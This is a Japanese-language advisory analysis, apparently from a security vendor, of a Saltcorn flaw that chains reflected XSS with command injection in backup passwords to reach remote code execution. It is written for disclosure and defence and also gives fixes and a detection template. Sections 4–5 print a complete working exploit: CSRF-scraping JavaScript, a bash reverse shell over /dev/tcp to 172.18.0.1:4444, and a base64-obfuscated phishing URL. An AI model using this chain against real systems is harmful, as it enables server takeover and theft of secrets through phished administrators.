当社のAIエンジンNeutronが、UCバークレーのCyberGymベンチマークで96.75%のスコアを記録しました。 詳細を見る

セキュリティ

セキュリティ

GHSA-cr3w-cw5w-h3fj:Saltcornにおける1クリックRCE

GHSA-cr3w-cw5w-h3fj(Saltcorn ≤ 1.5.0-beta.19に存在するCVSS 9.7のクリティカルなXSSからRCEへの脆弱性)の分析。ルートパラメーターの反射型XSSとバックアップ生成時のコマンドインジェクションという連鎖した2つの不備により、管理者へのフィッシングを介したリモートコード実行が可能になります。

GHSA-cr3w-cw5w-h3fj

Saltcornにおける1クリックRCE 2026年2月24日 · CVSS 9.7 クリティカル · Saltcorn ≤ 1.5.0-beta.19

CVE CVSS 影響を受けるバージョン 修正済みバージョン
未割り当て 9.7 クリティカル ≥ 1.1.1, < 1.5.0-beta.19 1.5.0-beta.19+

1. 技術概要:SaltcornにおけるXSSからRCEへのエクスプロイトチェーン

Saltcornは、ページ/コード編集、バックアップ、システム管理のための管理UIを備えた、オープンソースかつデータベースファーストのWebアプリビルダーです。

GHSA-cr3w-cw5w-h3fjがクリティカルであるのは、単一のバグによるものではなく、2つの脆弱性を連鎖させる点にあります。

  • パラメーターのレンダリングにおける反射型XSS
  • バックアップコマンド構築におけるコマンドインジェクション

個々の不備もそれぞれセキュリティリスクを生みます。両者が組み合わさると、管理者が巧妙に細工されたリンクを開いた際に、攻撃者がオペレーティングシステムのコマンドを実行できるようになります。


2. ルートパラメーターにおける反射型XSS

1.5.0-beta.19までの脆弱なバージョンでは、ルートパラメーター name がHTMLエスケープされないまま、sub2_pageおよびpage_titleとしてsend_admin_page()へ直接流れ込みます。

脆弱なコードパターン:

router.get(
  "/edit-codepage/:name",
  isAdmin,
  error_catcher(async (req, res) => {
    const { name } = req.params;  // raw user input, no sanitization
    // ...
    send_admin_page({
      res,
      req,
      page_title: req.__(`%s code page`, name),  // unescaped
      sub2_page:  req.__(`%s code page`, name),  // unescaped → breadcrumb
      // ...
    });
  })
);

send_admin_page()はpackages/server/markup/admin.js内のsend_settings_page()を呼び出し、これがsub2_pageを最後のパンくずノードのテキストとしてそのまま配置します。

// packages/server/markup/admin.js (commit 020893c)
res.sendWrap(title, {
  above: [
    {
      type: "breadcrumbs",
      crumbs: [
        { text: req.__("Settings"),   href: "/settings" },
        { text: req.__(active_sub),   href: "..." },
        ...(sub2_page
          ? [{ text: sub2_page }]  // ← name value inserted here, no escaping
          : [])
      ],
    },
    // ...
  ],
});

res.sendWrap()はsub2_pageを\<a>タグ内の生のHTMLとしてレンダリングします。name内のあらゆるHTMLがブラウザー上で実行されます。

nameはサニタイズされないままレンダリングされるUIテキストへ流れ込むため、攻撃者が制御する値が実行可能なHTML/JavaScriptになります。

悪意あるリクエストの例:

GET /admin/edit-codepage/%3Cimg%20src%3Dx%20onerror%3Dalert(document.domain)%3E HTTP/1.1
Host: target

XSSペイロードの実演

脆弱なバージョンでのレンダリング出力:

... <a> <img src=x onerror=alert(document.domain)> code page </a> ...

3. バックアップパスワード処理におけるコマンドインジェクション

2つ目の脆弱性はバックアップ生成に存在し、文字列補間を用いてシェルコマンドが構築され、その後実行されます。

脆弱なパターン(backup.ts):

const cmd = `zip -5 -rq ${backup_password ? `-P "${backup_password}" ` : ""}"${absZipPath}" .`;
exec(cmd, { cwd: tmpDir }, (error) => { ... });

backup_passwordはシェルコマンド文字列へ直接注入されます。悪意ある値は-P "..."のコンテキストから抜け出し、シェル構文を追加できます。

悪意あるパスワードの例:

";$(id);#

結果として実行されるコマンド:

zip -5 -rq -P "";$(id);#" "/tmp/backup.zip" .

これにより、バックアップが起動された際にサーバーコンテキストで任意のコマンド実行が発生します。

バックアップ設定のインターフェース


4. エンドツーエンドの悪用:XSSとコマンドインジェクションの連鎖

悪用には2つの要素が必要です。フィッシングページに埋め込まれた武器化ペイロードと、それを認証済みの管理者へ届けるためのソーシャルエンジニアリングです。

ステップ1:コマンドインジェクションペイロード

fetch('/admin/backup')
  .then(r => r.text())
  .then(html => {
    var c = html.match(/name="_csrf" value="([^"]+)"/)[1];
    fetch('/admin/set-backup-prefix', {
      method: 'POST',
      headers: { 'Content-Type': 'application/x-www-form-urlencoded' },
      body: '_csrf=' + c + '&backup_file_prefix=sc-backup-&backup_history=on&backup_password=%22%3B%24%28bash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F172.18.0.1%2F4444%200%3E%261%20%26%27%29%3B%22'
    }).then(() => 
      fetch('/admin/backup', {
        method: 'POST',
        headers: { 'Content-Type': 'application/x-www-form-urlencoded' },
        body: '_csrf=' + c
      })
    )
  });

backup_passwordパラメーターにはURLエンコードされたシェルエスケープが含まれます。デコードすると次のように変換されます。

";$(bash -c 'bash -i >& /dev/tcp/172.18.0.1/4444 0>&1 &');"

サーバーでの実行コンテキスト:

zip -5 -rq -P "";$(bash -c 'bash -i >& /dev/tcp/172.18.0.1/4444 0>&1 &');"" "/tmp/backup.zip" .

ステップ2:XSSペイロード

フィッシングページからの悪意あるURLは、単純なフィルターを回避するためにBase64エンコーディングを用いた多層ペイロードを埋め込みます。

http://localhost:3000/admin/edit-codepage/%3Cimg%20src%3Dx%20onerror%3Deval%28atob%28%22ZmV0Y2goJy9hZG1pbi9iYWNrdXAnKS50aGVuKHI9PnIudGV4dCgpKS50aGVuKGh0bWw9Pnt2YXIgYz1odG1sLm1hdGNoKC9uYW1lPSJfY3NyZiIgdmFsdWU9IihbXiJdKykiLylbMV07ZmV0Y2goJy9hZG1pbi9zZXQtYmFja3VwLXByZWZpeCcse21ldGhvZDonUE9TVCcsaGVhZGVyczp7J0NvbnRlbnQtVHlwZSc6J2FwcGxpY2F0aW9uL3gtd3d3LWZvcm0tdXJsZW5jb2RlZCd9LGJvZHk6J19jc3JmPScrYysnJmJhY2t1cF9maWxlX3ByZWZpeD1zYy1iYWNrdXAtJmJhY2t1cF9oaXN0b3J5PW9uJmJhY2t1cF9wYXNzd29yZD0lMjIlM0IlMjQlMjhiYXNoJTIwLWMlMjAlMjdiYXNoJTIwLWklMjAlM0UlMjYlMjAlMkZkZXYlMkZ0Y3AlMkYxNzIuMTguMC4xJTJGNDQ0NCUyMDAlM0UlMjYxJTIwJTI2JTI3JTI5JTNCJTIyJ30pLnRoZW4oKCk9PmZldGNoKCcvYWRtaW4vYmFja3VwJyx7bWV0aG9kOidQT1NUJyxoZWFkZXJzOnsnQ29udGVudC1UeXBlJzonYXBwbGljYXRpb24veC13d3ctZm9ybS11cmxlbmNvZGVkJ30sYm9keTonX2NzcmY9JytjfSkpfSk%3D%22%29%29%3E

デコード後のXSSペイロード:

<img src=x onerror=eval(atob("ZmV0Y2goJy9hZG1pbi9iYWNrdXAnKS50aGVuKHI9PnIudGV4dCgpKS50aGVuKGh0bWw9Pnt2YXIgYz1odG1sLm1hdGNoKC9uYW1lPSJfY3NyZiIgdmFsdWU9IihbXiJdKykiLylbMV07ZmV0Y2goJy9hZG1pbi9zZXQtYmFja3VwLXByZWZpeCcse21ldGhvZDonUE9TVCcsaGVhZGVyczp7J0NvbnRlbnQtVHlwZSc6J2FwcGxpY2F0aW9uL3gtd3d3LWZvcm0tdXJsZW5jb2RlZCd9LGJvZHk6J19jc3JmPScrYysnJmJhY2t1cF9maWxlX3ByZWZpeD1zYy1iYWNrdXAtJmJhY2t1cF9oaXN0b3J5PW9uJmJhY2t1cF9wYXNzd29yZD0lMjIlM0IlMjQlMjhiYXNoJTIwLWMlMjAlMjdiYXNoJTIwLWklMjAlM0UlMjYlMjAlMkZkZXYlMkZ0Y3AlMkYxNzIuMTguMC4xJTJGNDQ0NCUyMDAlM0UlMjYxJTIwJTI2JTI3JTI5JTNCJTIyJ30pLnRoZW4oKCk9PmZldGNoKCcvYWRtaW4vYmFja3VwJyx7bWV0aG9kOidQT1NUJyxoZWFkZXJzOnsnQ29udGVudC1UeXBlJzonYXBwbGljYXRpb24veC13d3ctZm9ybS11cmxlbmNvZGVkJ30sYm9keTonX2NzcmY9JytjfSkpfSk="))>

5. 概念実証:エンドツーエンドのXSSからRCEへの悪用

この概念実証は、脆弱なsaltcorn/saltcorn:1.4.1デプロイに対する完全なXSSからRCEへの悪用チェーンを実演し、悪意ある管理者側ペイロードを介したリモートコマンド実行に至ります。

version: '3'
services:
  postgres:
    image: postgres:15
    environment:
      POSTGRES_USER: saltcorn
      POSTGRES_PASSWORD: saltcorn
      POSTGRES_DB: saltcorn
    volumes:
      - postgres-data:/var/lib/postgresql/data

  saltcorn:
    image: saltcorn/saltcorn:1.4.1
    ports:
      - "3000:3000"
    environment:
      PGHOST: postgres
      PGUSER: saltcorn
      PGPASSWORD: saltcorn
      PGDATABASE: saltcorn
      PGPORT: 5432
      SALTCORN_SESSION_SECRET: fixedsecret
    volumes:
      - saltcorn-data:/home/saltcorn/.config/saltcorn
    depends_on:
      - postgres
    command: serve

volumes:
  postgres-data:
  saltcorn-data:

実行フロー:

  • 攻撃者のターミナル: リバースシェルを受け取るためのリスナーを設置します。

リスナーを待機する攻撃者のターミナル

  • 被害者の操作: 管理者が悪意あるリンクをクリックします。

脆弱なエンドポイントを表示する管理インターフェース

http://localhost:3000/admin/edit-codepage/%3Cimg%20src%3Dx%20onerror%3Deval%28atob%28%22ZmV0Y2goJy9hZG1pbi9iYWNrdXAnKS50aGVuKHI9PnIudGV4dCgpKS50aGVuKGh0bWw9Pnt2YXIgYz1odG1sLm1hdGNoKC9uYW1lPSJfY3NyZiIgdmFsdWU9IihbXiJdKykiLylbMV07ZmV0Y2goJy9hZG1pbi9zZXQtYmFja3VwLXByZWZpeCcse21ldGhvZDonUE9TVCcsaGVhZGVyczp7J0NvbnRlbnQtVHlwZSc6J2FwcGxpY2F0aW9uL3gtd3d3LWZvcm0tdXJsZW5jb2RlZCd9LGJvZHk6J19jc3JmPScrYysnJmJhY2t1cF9maWxlX3ByZWZpeD1zYy1iYWNrdXAtJmJhY2t1cF9oaXN0b3J5PW9uJmJhY2t1cF9wYXNzd29yZD0lMjIlM0IlMjQlMjhiYXNoJTIwLWMlMjAlMjdiYXNoJTIwLWklMjAlM0UlMjYlMjAlMkZkZXYlMkZ0Y3AlMkYxNzIuMTguMC4xJTJGNDQ0NCUyMDAlM0UlMjYxJTIwJTI2JTI3JTI5JTNCJTIyJ30pLnRoZW4oKCk9PmZldGNoKCcvYWRtaW4vYmFja3VwJyx7bWV0aG9kOidQT1NUJyxoZWFkZXJzOnsnQ29udGVudC1UeXBlJzonYXBwbGljYXRpb24veC13d3ctZm9ybS11cmxlbmNvZGVkJ30sYm9keTonX2NzcmY9JytjfSkpfSk%3D%22%29%29%3E
  • リバースシェルの確立: チェーン全体が2秒未満で実行され、攻撃者にリモートアクセスを提供します。

確立されたリバースシェル

このプロセスは管理者にはほぼ見えず、短いブラウザーの遷移としてのみ現れます。

影響
コマンド実行が達成されると、攻撃者は次のことが可能になります:
• アプリケーションのシークレットと設定の読み取り
• バックドアの永続化
• 連携されたサービスへの横展開
• 完全性と可用性の侵害

6. 修正:Saltcorn 1.5.0でのパッチと緩和策

Saltcornバージョン 1.5.0 は、両方の脆弱性をそれぞれ独立して対処します。いずれか一方の修正を実装するだけでもエクスプロイトチェーンを断ち切るのに十分です。

修正1:入力のエスケープ

ルート/クエリパラメーターを下流のレンダリングの前にエスケープします。

const escape_param = (obj) => {  
  const out = {};
  for (const [k, v] of Object.entries(obj))
    out[k] = typeof v === "string" ? text(v) : v;  
  return out;
};
req.params = escape_param(req.params);
req.query = escape_param(req.query);

修正2:安全なコマンド実行

exec(string)をspawn(binary, args)に置き換え、パスワードを通常の引数として渡します(シェル補間なし)。

const args = ["-5", "-rq"];
if (backup_password) args.push("-P", backup_password);
args.push(absZipPath, ".");
spawn("zip", args, { cwd: tmpDir, shell: false });

これにより、シェル文字列インジェクションのプリミティブが除去されます。


7. Ostorlab KEVによるSaltcornのXSSからRCEへの検出

GHSA-cr3w-cw5w-h3fj(SaltcornのXSSからRCEへのチェーン)は、Ostorlabの Known Exploited Vulnerabilities(KEV) 検出スイートでカバーされています。KEVエージェントグループは、公開されたサービスに対して大規模な自動スキャンを実行し、Nmap、Tsunami、Asteroid、Nuclei、Metasploitといったツールを統一されたワークフローの下でオーケストレーションします。

Nucleiテンプレート

この勧告のために専用のNucleiテンプレートが開発され、KEVリポジトリに追加されました。

侵襲的なエクスプロイト検証とは異なり、このテンプレートは認証なしで 安全な反射ベースの検出 を実行します。

  • /page/sc\<xss\>nucleiへのGETリクエスト — 公開ルートパラメーターへ山括弧を注入します。
  • 本文のマッチ確認 — ペイロードsc\<xss\>nucleiがエンコードされずに反射されることを検証します。
  • ネガティブマッチ確認 — エンコードされた形式sc&lt;xss&gt;nucleiが出現しないことを確認します。
  • Saltcornのフィンガープリンティング — _sc_version_tagマーカーを介して存在を確認します。

検出には、すべてのマッチャー条件が成功する必要があります。すなわち、反射が存在し、エンコードが行われておらず、Saltcornが識別されることです。

このテンプレートは、バックアップを起動したりコマンドを実行したりすることなく、コマンドインジェクションのチェーンを可能にする脆弱なXSSプリミティブを確認します。

完全なテンプレートは、以下のOstorlab KEVリポジトリで入手できます。 github.com/Ostorlab/KEV/blob/main/nuclei/GHSA-cr3w-cw5w-h3fj.yaml


参考資料

リソース リンク
GitHub Advisory https://github.com/advisories/GHSA-cr3w-cw5w-h3fj
Saltcornリポジトリ https://github.com/saltcorn/saltcorn
修正コミット https://github.com/saltcorn/saltcorn/commit/1bf681e08c45719a52afcf3506fb5ec59f4974d5
脆弱なスナップショット https://github.com/saltcorn/saltcorn/commit/020893c